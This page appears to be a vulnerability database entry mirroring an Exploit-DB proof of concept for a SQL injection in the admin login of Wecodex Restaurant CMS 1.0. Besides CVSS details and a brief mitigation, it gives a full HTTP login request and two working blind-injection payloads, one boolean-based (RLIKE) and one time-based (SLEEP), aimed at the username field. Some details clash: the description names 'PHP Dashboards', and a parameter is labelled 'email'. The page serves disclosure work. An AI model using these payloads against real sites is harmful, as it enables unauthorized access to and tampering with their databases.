Wecodex Restaurant CMS 1.0 - 'Login' SQL Injection

vendor:

Restaurant CMS

by:

Özkan Mustafa Akkus (AkkuS)

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Restaurant CMS

Affected Version From: 1

Affected Version To: 1

Patch Exists: NO

Related CWE: N/A

CPE: a:wecodex:restaurant_cms

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Kali Linux

2018

Wecodex Restaurant CMS 1.0 – ‘Login’ SQL Injection

PHP Dashboards is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Mitigation:

Input validation and sanitization should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# Exploit Title: Wecodex Restaurant CMS 1.0 - 'Login' SQL Injection
# Dork: N/A
# Date: 2018-05-23
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor : Wecodex Solutions
# Vendor Homepage: https://www.wecodex.com/item/view/restaurant-system-in-php-and-mysql/6
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : PHP Dashboards is prone to an SQL-injection vulnerability
# because it fails to sufficiently sanitize user-supplied data before using
# it in an SQL query.Exploiting this issue could allow an attacker to
# compromise the application, access or modify data, or exploit latent
# vulnerabilities in the underlying database.

# PoC : SQLi :
# Demo : https://Target/demos/restaurant/admin/

https://Target/demos/restaurant/admin/index.php?action=processlogin

POST /demos/restaurant/admin/index.php?action=processlogin HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://Target/demos/restaurant/admin/
Cookie: PHPSESSID=6fabn4skieu59mgjn63i4d38u0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
username=admin&password=123456


# Vulnerable Payload :
# Parameter: email (POST)
# Type: boolean-based blind
# Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
# Payload: 

username=admin" RLIKE (SELECT (CASE WHEN (7084=7084) THEN
0x61646d696e4061646d696e2e636f6d ELSE 0x28 END)) AND
"eloY"="eloY&password=123456

# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
# Payload: 

username=admin" AND (SELECT * FROM (SELECT(SLEEP(5)))lzxm) AND
"vZea"="vZea&password=123456